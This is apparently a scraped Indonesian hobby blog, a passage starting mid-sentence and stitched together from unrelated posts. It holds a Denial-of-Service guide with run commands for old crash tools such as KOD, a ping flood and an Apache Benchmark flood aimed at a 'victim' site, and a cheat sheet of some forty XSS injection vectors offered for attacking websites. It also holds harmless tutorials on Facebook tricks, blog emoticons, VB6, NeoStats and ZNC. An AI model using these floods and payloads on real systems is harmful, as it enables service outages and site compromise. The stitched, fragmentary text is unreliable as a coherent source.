sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor
yang digunakan yaitu pentium.
3. Ping Flooding
Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan
dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka
mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network).
Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP.
Varian dari serangan ini disebut "smurfing"
(http://www.quadrunner.com/~chuegen/smurf.txt).

Serangan menggunakan exploits.

Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
A. Serangan membutuhkan Shell Linux (Unix/Comp)
B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan
fungsi search agar lebih mudah)
C. Menggunakan/membutuhkan GCC (Gnu C Compiler)

1. KOD (Kiss of Death)
Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms.
Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah
membuat hang/blue screen of death pada komputer korban.
Cara penggunaan:
A. Dapatkan file kod.c
B. Compile dengan Gcc: $ gcc -o kod kod.c
C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung
kepada jenis sistem operasi dan konfigurasi server target (misalmya:
blocking)
2. BONK/BOINK
Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari
bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT
3. Jolt
Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt
yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet
yang tinggi sekali kepada korban.
4. NesTea
Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows
versi awal. Versi improve dari NesTea dikenal dengan NesTea2
5. NewTear
Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk
(bonk.c)
6. Syndrop
Merupakan 'serangan gabungan' dari TearDrop dan TCP SYN Flooding. Target
serangan adalah Linux dan Windows
7. TearDrop
TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung
ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug
yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini
adalah Blue Screen of Death

Serangan langsung (+ 31337)

1. Ping Flood
Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya
sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran.
bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan)
suatu web server, namun tidak tertutup kemungkinan untuk melakukan
penyalahgunaan.
bash $ /usr/sbin/ab -n 10000 -c 300 \
http://korban.com/cgi-bin/search.cgi?q=kata+yang+cukup+umum
(diketik dalam 1 baris!)
Akan melakukan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal
oleh Apache Software Foundation adalah MaxClients 150, yang berarti hanyak
koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients.
Jumlah ini sedikit banyak dapat berkurang mengingat browser lebih dari 1
request simultan dengan koneksi terpisah-pisah.

Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan
menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit).
Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa
batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache
akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan,
seolah-olah server korban tewas.
Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource
yang besar, sehingga komputer/mesin yang diserang kehabisan resource dan
manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:

A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD

A. Swap Space

Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan
client. Spasi swap juga digunakan untuk mem-'forked' child process. Bagaimanapun
spasi swap selalu berubah dan digunakan dengan sangat berat. Beberapa serangan
Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.

B. Bandwidth

Beberapa serangan Denial of Service menghabiskan bandwidth.

C. Kernel Tables

Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi
memori kepada kernel juga merupakan target serangan yang sensitif. Kernel
memiliki kernelmap limit, jika sistem mencapai posisi ini, maka sistem tidak
bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.

D. RAM

Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak
mau harus di re-boot.

E. Disk

Serangan klasik banyak dilakukan dengan memenuhi Disk.

F. Caches

G. INETD

Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan
bekerja.
Sejujurnya, bagian inilah yang paling sulit. Anda bisa lihat bagaimana
mudahnya menggunaka sploits/tool untuk membekukan Ms Windows, atau
bagaimana mudahnya melakukan input flooding dan membuat tool sendiri.
Namun Denial of service adalah masalah layanan publik.Sama halnya dengan
anda memiliki toko, sekelompok orang jahat bisa saja masuk beramai-ramai
sehingga toko anda penuh. Anda bisa saja mengatasi 'serangan' ini dengan
'menutup' toko anda - dan ini adalah cara paling efektif - namun jawaban
kekanak-kanakan demikian tentu tidak anda harapkan.

1. Selalu Up 2 Date.
Seperti contoh serangan diatas, SYN Flooding sangat efektif untuk membekukan
Linux kernel 2.0.*. Dalam hal ini Linux kernel 2.0.30 keatas cukup handal
untuk mengatasi serangan tersebut dikarenakan versi 2.0.30 memiliki option
untuk menolak cracker untuk mengakses system.

2. Ikuti perkembangan security
Hal ini sangat efektif dalam mencegah pengerusakan sistem secara ilegal.
Banyak admin malas untuk mengikuti issue-issue terbaru perkembangan dunia
security. Dampak yang paling buruk, sistem cracker yang 'rajin', 'ulet'
dan 'terlatih' akan sangat mudah untuk memasuki sistem dan merusak -
tidak tertutup kemungkinan untuk melakukan Denial of Service -.
Berhubungan dengan 'Selalu Up 2 Date', Denial of service secara langsung
dengan Flooding dapat diatasi dengan menginstall patch terbaru dari vendor
atau melakukan up-date.

3. Teknik pengamanan httpd Apache.
+ Pencegahan serangan Apache Benchmark.
Hal ini sebenarnya sangat sulit untuk diatasi. Anda bisa melakukan
identifikasi terhadap pelaku dan melakukan pemblokiran manual melalui
firewall atau mekanisme kontrol Apache (Order, Allow from, Deny From ).
Tentunya teknik ini akan sangat membosankan dimana anda sebagai seorang
admin harus teliti.
Mengecilkan MexClients juga hal yang baik, analognya dengan membatasi
jumlah pengunjung akan menjaga toko anda dari 'Denial of Service'.
Jangan lupa juga menambah RAM.

4. Pencegahan serangan non elektronik.
Serangan yang paling efektif pada dasarnya adalah local. Selain efektif
juga sangat berbahaya. Jangan pernah berfikir sistem anda benar-benar aman,
atau semua user adalah orang 'baik'. Pertimbangkan semua aspek. Anda bisa
menerapkan peraturan tegas dan sanksi untuk mencegah user melakukan serangan
dari dalam. Mungkin cukup efektif jika dibantu oleh kedewasaan berfikir dari
admin dan user bersangkutan.
Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker
dalam melakukan Denial of Service yaitu:

1. Status Sub-Kultural.
2. Untuk mendapatkan akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.

Satatus subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau lebih
tepat kita sebut sebagai pencarian jati diri. Adalah sebuah aktifitas umum
dikalangan hacker-hacker muda untuk menjukkan kemampuannya dan Denial of
Service merupakan aktifitas hacker diawal karirnya. Alasan politik dan
ekonomi untuk saat sekarang juga merupakan alasan yang paling relevan. Kita
bisa melihat dalam 'perang cyber' (cyber war), serangan DoS bahkan dilakukan
secara terdistribusi atau lebih dikenal dengan istilah 'distribute Denial of
Service'. Beberapa kasus serangan virus semacam 'code-red' melakukan serangan
DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi,
komputer ini disebut 'zombie' dalam jargon.Lebih relevan lagi, keisengan
merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk
mendapatkan program-program DoS, seperti nestea, teardrop, land, boink,
jolt dan vadim. Program-program DoS dapat melakukan serangan Denial of
Service dengan sangat tepat, dan yang terpenting sangat mudah untuk
melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell
yang berupa ./nama_program argv argc ...
Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis)
atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat
menggunakan layanan tersebut. Dampak akhir dari aktifitas ini menjurus
kepada tehambatnya aktifitas korban yang dapat berakibat sangat fatal
(dalam kasus tertentu). Pada dasarnya Denial of Service merupakan serangan
yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana
admin akan berada pada kondisi yang membingungkan antara layanan dan
kenyamanan terhadap keamanan. Seperti yang kita tahu, keyamanan berbanding
terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti
hukum ini.

Beberapa aktifitas DoS adalah:

1. Aktifitas 'flooding' terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk dapat menggunakan layanan.
4. Merusak sistem agar korban tidak dapat menggunakan layanan.
Open Source adalah sebuah sistem baru dalam mendistribusikan software kepada
pengguna dengan memberikan program dan source code nya secara gratis! Bahkan
pengguna dapat mempelajari dan melakukan modifikasi untuk membuat software
tersebut sesuai dengan kebutuhan mereka.

Richard M. Stallman,pendiri Free Software Foundation -sebuah organisasi yang
mendukung Open Source,mengeluarkan sebuah lisensi software untuk Open Source
yang dinamakan GPL (GNU Public License). Lisensi inilah yang saat ini paling
banyak digunakan untuk mendistribusikan software Open Source. Selain GPL,
masih banyak lisensi software lainnya yang dikembangkan oleh komunitas Open
Source.

Berikut adalah keuntungan software Open Source:

Sisi pengguna:

* Gratis
* Pengguna dapat terlibat dalam pengembangan program karena memiliki
* source code nya
* Respon yang baik dari pemakai sehingga bug dapat ditemukan dan
* diperbaiki dengan lebih cepat.

Sisi developer:

* Seluruh komunitas mau dan dapat membantu untuk membuat software anda
* menjadi lebih baik
* Tidak ada biaya iklan dan perawatan program
* Sebagai sarana untuk memperkenalkan konsep anda

Linux adalah sebuah contoh yang bagus. Banyak sistem operasi yang berusaha
meniru kisah sukses Linux, tetapi Linux tetap yang paling sukses hingga
saat ini. Aspek positif dari Open Source adalah penerimaan yang luas untuk
software yang benar-benar bagus. Tetapi keuntungan tersebut tidak cukup,
terutama untuk orang yang memang bekerja dengan membuat program
(programmer), mereka membutuhkan uang untuk melanjutkan pengembangan
software mereka (dan untuk makan tentunya).

ungkin beberapa dari pembaca berpikir, ini gila, jika kita membagi-bagikan
software kita dengan gratis, bagaimana kita dapat bertahan? Bagaimana kita
dapat menghasilkan uang?Tapi tunggu,ada beberapa cara yang dapat digunakan
untuk menghasilkan uang dari ekonomi Open Source ini. Tapi penting untuk
diketahui bahwa hanya software yang memang bagus yang dapat bertahan dan
menghasilkan uang, program yang jelek tidak dapat bertahan (kecuali anda
memaksa orang-orang untuk membelinya!).Berikut adalah beberapa diantaranya:

* Jual program dan source code dan manual book dalam sebuah box, program
* tersebut gratis jika pengguna mau mendownloadnya sendiri, tetapi
* pengguna harus membayar untuk mendapatkan produk komersialnya.
* Jual program tambahan yang memanfaatkan teknik tingkat tinggi program
* Open Source anda.
* Jual dukungan teknis untuk membantu pengguna menggunakan produk
* tersebut.
* Jual jasa untuk customize program sesuai dengan kebutuhan pengguna.
* Sisipan iklan pada software.
* Mencari sponsorship dari perusahaan yang berhubungan dengan software
* yang dibuat.

sumber : konsultanlinux.com
ezine.echo.or.id
XSS adalah suatu cara memasukan code/script HTML kedalam suatu web site dan dijalankan melalui browser di client . XSS merupakan pilihan yang menarik bagi para newbie yang tidak mempunyai shell dan sploit ,karena untuk melakukan xss hanya di butuhkan sebuah browser. Ingat XSS adalah hanya memasukan script kedalam url site target . Ada perbedaan antara XSS dengan Script injetion . Xss hasilnya hanya bisa diliat secara temporary beda dengan script injection yang full merubahnya sama seperti kita mendapatkan root dan merubah halaman index nya.

*Script yang bisa digunakan untuk XSS adalah
-> HTML
-> JavaScript
-> VBScript
-> Active X
-> Flash

ada banyak script yg biasa digunakan contohnya :
<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]"> [IE]
<input type="image" dynsrc="javascript:[code]"> [IE]
<bgsound src="javascript:[code]"> [IE]
&<script>[code]</script>
&{[code]}; [N4]
<img src=&{[code]};> [N4]
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]"> [IE]
<img src="mocha:[code]"> [N4]
<img src="livescript:[code]"> [N4]
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);"> [IE]
<div style="binding: url([link to code]);"> [Mozilla]
<div style="width: expression([code]);"> [IE]
<style type="text/javascript">[code]</style> [N4]
<object classid="clsid:..." codebase="javascript:[code]"> [IE]
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF-8; IE, Opera]


Sumber : echo.or.id
e107 adalah salah satu Cms yang ada dari puluhan bahkan ratusan cms yang ada di dunia ini. Namun dari beberapa editor make cms ini ada yang memiliki bug sehingga di tool hacking di namakan e107 oleh anggota by**e .
LFI adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.
SQL (Structured Query Language) adalah sebuah bahasa yang dipergunakan untuk mengakses data dalam basis data relasional.

Sumber : wiki
Emoticon adalah sebuah ekspresi wajah pictorially diwakili oleh tanda baca dan huruf, biasanya untuk mengekspresikan suasana hati penulis.Emoticon sering digunakan untuk memberitahukan suatu responden terhadap suatu pernyataan senang, marah, gembira dan dapat mengubah dan meningkatkan interpretasi dari teks biasa.emoticon teks sudah sering otomatis diganti dengan gambar kecil, yang kemudian disebut emoticon juga. Beberapa kombinasi karakter yang kompleks dapat dicapai dalam bahasa double-byte, sehingga menimbulkan bentuk-bentuk khusus.

Penggunaan emoticon dapat ditelusuri kembali ke abad ke-19, dan mereka yang biasa digunakan dalam ungkapan expresi. Digital forms di Internet dimasukkan dalam proposal oleh Scott Fahlman of Carnegie Mellon University dalam pesan pada 19 September 1982.

Colek otomatis di Facebook

poke
Ternyata ngga cuma Mozilla Firefox yang punya mainan AutoPoke/Poke All di Facebook.
Google Chrome juga punya extension untuk AutoPoke/Poke All .

INSTALASI

Kunjungi URL ini: https://chrome.google.com/extensions/detail/dbpnngnfdfaocafgegelojgegidbbhob
-
Selanjutnya ikuti petunjuk instalasi.

TERAPKAN

Klik tombol Customize and Control (di bawah tombol close chrome). Kemudian klik menu Extensions. Temukan Extension Facebook Poke All. -
Begini proses autopoke all:
- - - -
Semoga menyenangkan.
BUAT STATUS BERLINK BIRU
hahahaha ini dia cara ini dah lama bangt sich cmn ya ngga slh kan kalu aku posting lgi hehehe ngitung-ngitung sesama umat kan harus saling ngasih tau apa yg kita tau...

oKkky langsung aja coy....

cara pertama : http://www.facebook.com/apps/application.php?id=156431517740148


trus setelah ke buka langsung aja tekan tombol "suka"

cara kedua : masuk ke applikasi http://apps.facebook.com/cyberbintauna/index.php atau bisa juga http://apps.facebook.com/anaskicyberz/

cara ketiga : ketik @[angka:0:text]
angka bisa apa aja.
Dan text terserah anda..
eitz ingat ":"dan "0" nya jgn sampai hilang nanti ngga jadi de ckckckckkckc
siip gitu aja..........
Oh ya kemarin ku nyoba lagi make cara yang di atas tapi udah ngga bisa facebook lebih hari lebih makin error ni hehehe.
tpi ku udah dapat solusinya 
@[angka:0:text]
angka di ganti id facebook, 0 biarin aja, text ya di ganti sama apa yang lo buat status masa make text xixixi ni ku kasih contohnya : @[100000294964708:0:INILAH STATUSKU]

Dan yang terakhir silakan di liat status anda.
tkhanz.

tutorial ini saya tambah [ JFry_ ] karena ada beberapa yang kurang lengkap

@[100000294964708:0:INILAH STATUSKU]

yang berwarna merah ganti dengan id profile seperti profile fb saya yang berwarna merah http://www.facebook.com/profile.php?id=100000493152426
sedangkan yang berwarna hijau di isi dengan status anda :D
semoga berhasil..
oh ya sebelumnya yang berwarna putih yang di atas jangan di hapus

Pertanyaan :
A : mas gimana cara cek id facebook yang sudah di kasih nama ? seperti ini http://www.facebook.com/Maijefri

JFry_ : itu mudah tinggal konek ke fb lansung menuju http://www.ihsana.com/fb/ disana anda akan menemukan id facebook anda
seperti ini : http://faceblog.ihsana.com/100000493152426 yang merah adalah profile id facebook anda :D
Memasang emoticon / smile diatas kotak komentar tentu lebih memudahkan komentator untuk menunjukan ekpresi dan emosinya. seperti kotak komentar yang ada di bawah, oh ya saya hampir lupa mau ngucapin trima kasih kepada o-om yang telah ngasih saya artikel cara membuat script Emoticon. Thanks ya om :)

Cara Pasang Emoticon / Smile di kotak komentar

Untuk memasang kode Emoticon pada kolom komentar, pertama..masuk kehalaman Edit HTML, kemudian copy-paste Script berwarna merah dibawah dan letakan diatas kode </body> ini biasanya berada dipaling bawah pada kode HTML.

<script src='http://pasbar.com/ANASKI/smiley.js' type='text/javascript'>

</body>
</html>


Sedangkan untuk memasang kode emoticon diatas kotak komentar, tetap berada pada halaman Edit HTML (jangan lupa beri tanda centang pada Expand Template Widget). kemudian cari kode warna merah dibawah ini:

<p class='comment-footer'>
<b:if cond='data:post.embedCommentForm'>
<b:include data='post' name='comment-form'/>
<b:else/>
<b:if cond='data:post.allowComments'>
<a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'><data:postCommentMsg/></a>
</b:if>
</b:if>
</p>

Sudah ketemu? kalo sudah, sekarang copy paste semua kode dibawah ini yang berwarna kuning dan letakan di bawah kode <p class='comment-footer'>.


<b><img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/21.gif'/>
:))
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/100.gif'/>
:)]
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/71.gif'/>
;))
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/5.gif'/>
;;)
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif'/>
:D
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/3.gif'/>
;)
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/10.gif'/>
:p
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/20.gif'/>
:((
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/1.gif'/>
:)
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/2.gif'/>
:(
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/8.gif'/>
:X
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/12.gif'/>
=((
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/13.gif'/>
:-o
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/7.gif'/>
:-/
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/11.gif'/>
:-*
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/22.gif'/>
:|
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/35.gif'/>
8-}
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/102.gif'/>
~x(
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/104.gif'/>
:-t
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/66.gif'/>
b-(
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/62.gif'/>
:-L
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/14.gif'/>
x(
<img border='0' src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/24.gif'/>
=))</b>


Maaf Sebelumnya berhubungan koneksi macet tutorial pasang emoticon di tunda dulu. :(
- Horoscop
- Shio
LCG jukebook adalah Sejenis aplikasi pemutar musik dan menampilkan lirik lagu yang hanya bisa bagi pengguna handphone Nokia SymbianOS.
Buat kalian yang seneng banget karaokean, saya punya Aplikasi LCG jukebook Serta Tutorial membuat lirik-nya. lirik-lirik tersebut akan berjalan/bergerak sesua dengan lagu yang dinyanyikan oleh sang penyanyi (sesuai dengan waktu/temponya). Jadi, Hitung-hitung supaya kita gak asal-asalan kalau nyanyiin lagu, terutama lagu-lagu barat atau lagu-lagu yang menggunakan bahasa asing lainnya.

Sedikit, tentang cara penggunaannya:

MiniLyrics ini Hanya dapat di jalankan (disupport) oleh beberapa Handphone Yang berbasis SymbianOS atau yang bisa di buka dengan .sys

# Untuk mendownload lyric (yang sudah diatur waktunya). Kita harus Mencarinya dengan keadaan online. Dan Artis sama title harus sama dengan Judul lyric tulisan. Lyric Formatnya yaitu .Lrc untuk menyamakan artist dan title anda cukup dengan klik kanan mp3 lalu propertis maka pilih Details.

# untuk membuat lyric sendiri anda cukup membuat file .txt isi dengan text lagu kita, masukan ke dlam text tersebut "[01:05]" --> waktu anda bisa mem pause kan lagunya sambil mencatat dan menandai waktu nya supaya waktu dan nadanya pass. setelah selesai liric nya anda bisa menukar nama .txt dengan .lrc folder lagu dan lyric nya harus sama :D

Selamat Mencoba, Semoga Berhasil, dan Semoga Bermanfaat!!!
Terimakasih telah membaca di blog ini, lain kali berkunjung lagi yach…!!!
Splash Screen adalah Tampilan Menu pertama ketika akan loading seperti tampilan starup Smadav.

Cara membuatnya adalah sebagai berikut:

  1. klik kanan menu project, kemudian pilih add [gambar 1.1 ], kemudian
    ambil Form [ gambar 1.2]


  2. Splash Screen, Script VB6, Splash



  3. Kemudian pada menu add From [ gambar 2 ] pilih splash screen [ gambar 2.3 ] kemudian open [ gambar 2.4 ]

  4. Splash Screen, Script VB6, Splash

  5. Klik kanan menu Project [ gambar 3.5 ], setelah itu pilih project propertis [ gambar 3.6 ]

  6. Splash Screen, Script VB6, Splash

  7. Pada project propertis pilih startup object [ gambar 4.7 ], kemudian pilih frmSplash [ gambar 4.8

  8. Splash Screen, Script VB6, Splash

  9. kemudian ambil timer [ gambar 5.9 ], setelah itu klik kiri2x pada menu timer [ gambar timer ] setelah itu masukan script


  10. Splash Screen, Script VB6, Splash
    Splash Screen, Script VB6, Splash
    Private Sub Timer1_Timer()
    Select Case Y
    Case 0
    Label2 = "|||||||||||||||||||||||||||||"
    End Select
    S = Len(Label2)
    Label1 = Left(Label2, p)
    p = p + 1

    If p = S Then
    Unload Me
    Menu.Show
    End If
    End Sub

Ada yang kelupaan pada script di atas tulisan [ label2 ] silahkan buat pada menu toolbox pilih yang ada gambar [A] hitam setelah itu selesai silahkan di coba :D

Sekian Tutorialnya silahkan tinggalkan komentar :D
Neostats adalah sebuah aplikasi stats ircd yang digunakan untuk memantau user yang masuk ke irc server

Pertama2 unduh/download file yg di bawah :
[root@ANASKI][:~]# wget http://biznetnetworks.dl.sourceforge.net/project/neostats/NeoStats/2.5.1/NeoStats-2.5.1.tar.gz
Setelah selesai lakukan perintah ekstrak file dengan perintah :
[root@ANASKI][:~]# tar -xvf NeoStats-2.5.1.tar.gz
kemudian masuk ke directory dg perintah :
[root@ANASKI][:~]# cd NeoStats-2.5.1
Berikutnya lakukan Perintah untuk kompilasi paket dengan perintah :
[root@ANASKI/NeoStats-2.5.1][:~]# ./configure –enable-unreal32
[root@ANASKI/NeoStats-2.5.1][:~]# make
[root@ANASKI/NeoStats-2.5.1][:~]# make install
Kemudian kembali ke menu awal dan masuk ke neostats, perintah :
[root@ANASKI/NeoStats-2.5.1][:~]# cd ..
[root@ANASKI][:~]# cd NeoStats
Selesaikan dengan :
[root@ANASKI/NeoStats][:~]# ./makeconf
What will your server name be? (ie: stats.somenet.net)
[stats.somenet.net] -> <--- stats.yourdomain.com What is your IRC server's IP? (ie: 127.0.0.1) [127.0.0.1] -> <--- Use IP That was given by Voodoohosting. What is the IRCd's Link port? (ie: 7890) [6667] -> <--- Port that is opened on HUB Server for Servers\Links. What is the IRCd's Link password for stats? (ie: bleh) [LinkPass] -> <--- Password for connecting. ( C\N lines in IRCDs server). NeoStats Server comment? [NeoStats 2.5 IRC Statistical Server!] -> <--- Description of your NeoStats Server. Network name? (refer to your networks file. ie: CyberChat-IRC) [SomeNet-IRC] -> <--- Name of your Network. The host NeoStats is connecting from, most people use services.theirnetwork.net [NeoStats.Net] -> <--- services.yourdomain.com NeoStats User? (This is the part before @yourhost.net) [Neo] -> <--- Ident for NeoStats. What channel should NeoStats join on IRC? [#services] -> <--- Channel that NeoStats will auto join on startup. Time in seconds we wait before attempting to reconnect to the server on a split? [10] -> <--- Time in seconds we wait before attempting to reconnect to the server on a split. What IP should NeoStats Bind to? (ie: 127.0.0.1) This is optional. See neostats.cfg for more information [127.0.0.1] -> <--- Use IP that was given by Voodoohosting.com
[root@ANASKI/NeoStats][:~]# pico neostats.cfg
# NO_LOAD [YOU MUST REMOVE THIS] # If this is in the neostats.cfg your NeoStats WILL NOT START UP. To # disable this simply comment this line out. e.g. # # NO_LOAD <- NeoStats will not load. # # #NO_LOAD <- NeoStats will load. NO_LOAD <--- Set # in front of NO_LOAD (ex. #NO_LOAD). # LOAD_MODULE [OPTIONAL] # What modules to load at start-up. e.g. # # LOAD_MODULE statserv # # Will load up StatServ at boot # # Multiple instances of LOAD_MODULE may be specified # this is the StatServ Module #LOAD_MODULE statserv <--- If you want to ENABLE this Module remove #. #This is a new module. LoveServ, send a rose, hug, kiss, chocolate, etc to that # Special IRC Somebody. :D #LOAD_MODULE loveserv <--- If you want to ENABLE this Module remove #. # The HostServ module provides vhost services #LOAD_MODULE hostserv <--- If you want to ENABLE this Module remove #. # MoraleServ. A fun module to cheer people up. #LOAD_MODULE moraleserv <--- If you want to ENABLE this Module remove #. # ConnectServ will watch all connections to the network and can report them # to the services channel. It can also watch and report Nickname changes. #LOAD_MODULE connectserv <--- If you want to ENABLE this Module remove #. #SERVICE_ROOTS [OPTIONAL] # Who should get access to NeoStats regardless of their O line flags. # You can specify this option up to 10 times to specify different # nicks who will be allowed this privilege. e.g. # # SERVICE_ROOTS fish!?Fish@*.neostats.net # # Will give “fish” access to NeoStats Privileged commands if fish has # Umode +r and comes from the specified hostname and ident. #SERVICE_ROOTS Shmad!?Shmad@Coder.NeoStats.net #SERVICE_ROOTS ^Enigma^!*@*.au <--- Fix this to NICKNAME\IDENT\HOSTNAMEs of your ROOT Admins. #SERVICE_ROOTS Fish!?Fish@*.dynam.ac Semoga Bermanfaat :D
Znc adalah client BNC seperti psyBNC, sBNC yang membuat anda tetap tersambung ke jaringan walaupun anda tidak tersambung (disconect) ke IRC client, Cara kerjanya sama dengan beberapa skrip seperti TCL dan pengaturannya pun sangat mudah.

Dengan Fitur sbb :
Banyak User
Anda dapat menambah user dibawah satu proses. Sangat berguna untuk shell umum yang membatasi background process. Setiap user dapat tersambung ke satu jaringan IRC.

Banyak Klien
Terhubung ke user yang sama dengan beberapa aplikasi sekaligus sebanyak yang anda mau.

Pemutaran Kembali Buffer
Tetap mengetahui apapun yang terjadi dan saat itu terjadi sementara anda sedang tidak terhubung, timestamps akan selalu dicetak dan dapat dikonfigurasi secara manual.

Dukungan SSL
Enkripsi untuk port pendengar dan port koneksi ke server IRC. Jika sistem anda terdapat OpenSSL, ZNC akan secara otomatis mendukung koneksi SSL.

Bouncing DCC
Bouncing transparan untuk anonimitas DCC.

Partyline
Menggunakan modul global partyline, anda dapat terhubung ke channel dan privat dengan user lain yang berada didalam jaringan internal ZNC.

Administrasi Web
Menggunakan modul global webadmin, admin dapat menambah/menghapus/merubah setting user dan setting global dan selain admin dapat merubah setting mereka masing-masing.
Sumber Wiki Znc
Jika masih penasaran silahkan google :D
Langkah nya sebagai berikut :
Pertama2 unduh/download file yg di bawah
[root@ANASKI][:~]# wget http://biznetnetworks.dl.sourceforge.net/project/znc/znc/0.072/znc-0.072.tar.gz
Setelah selesai lakukan perintah ekstrak file dengan perintah :
[root@ANASKI][:~]# tar zxvf znc-0.072.tar.gz
kemudian masuk ke directory dg perintah :
[root@ANASKI][:~]# cd znc-0.072
Berikutnya lakukan Perintah untuk kompilasi paket dengan perintah :
[root@ANASKI][:~]# ./configure --disable-c-areas
[root@ANASKI][:~]# make
[root@ANASKI][:~]# make install
Kemudian membuat config, lakukan dg perintah :
[root@ANASKI][:~]# ./znc --makeconf
Sekarang cobalah untuk menjalankan sBNC dengan perintah:
[root@ANASKI][:~]# ./znc
Semoga bermanfaat dengan tutorialnya :D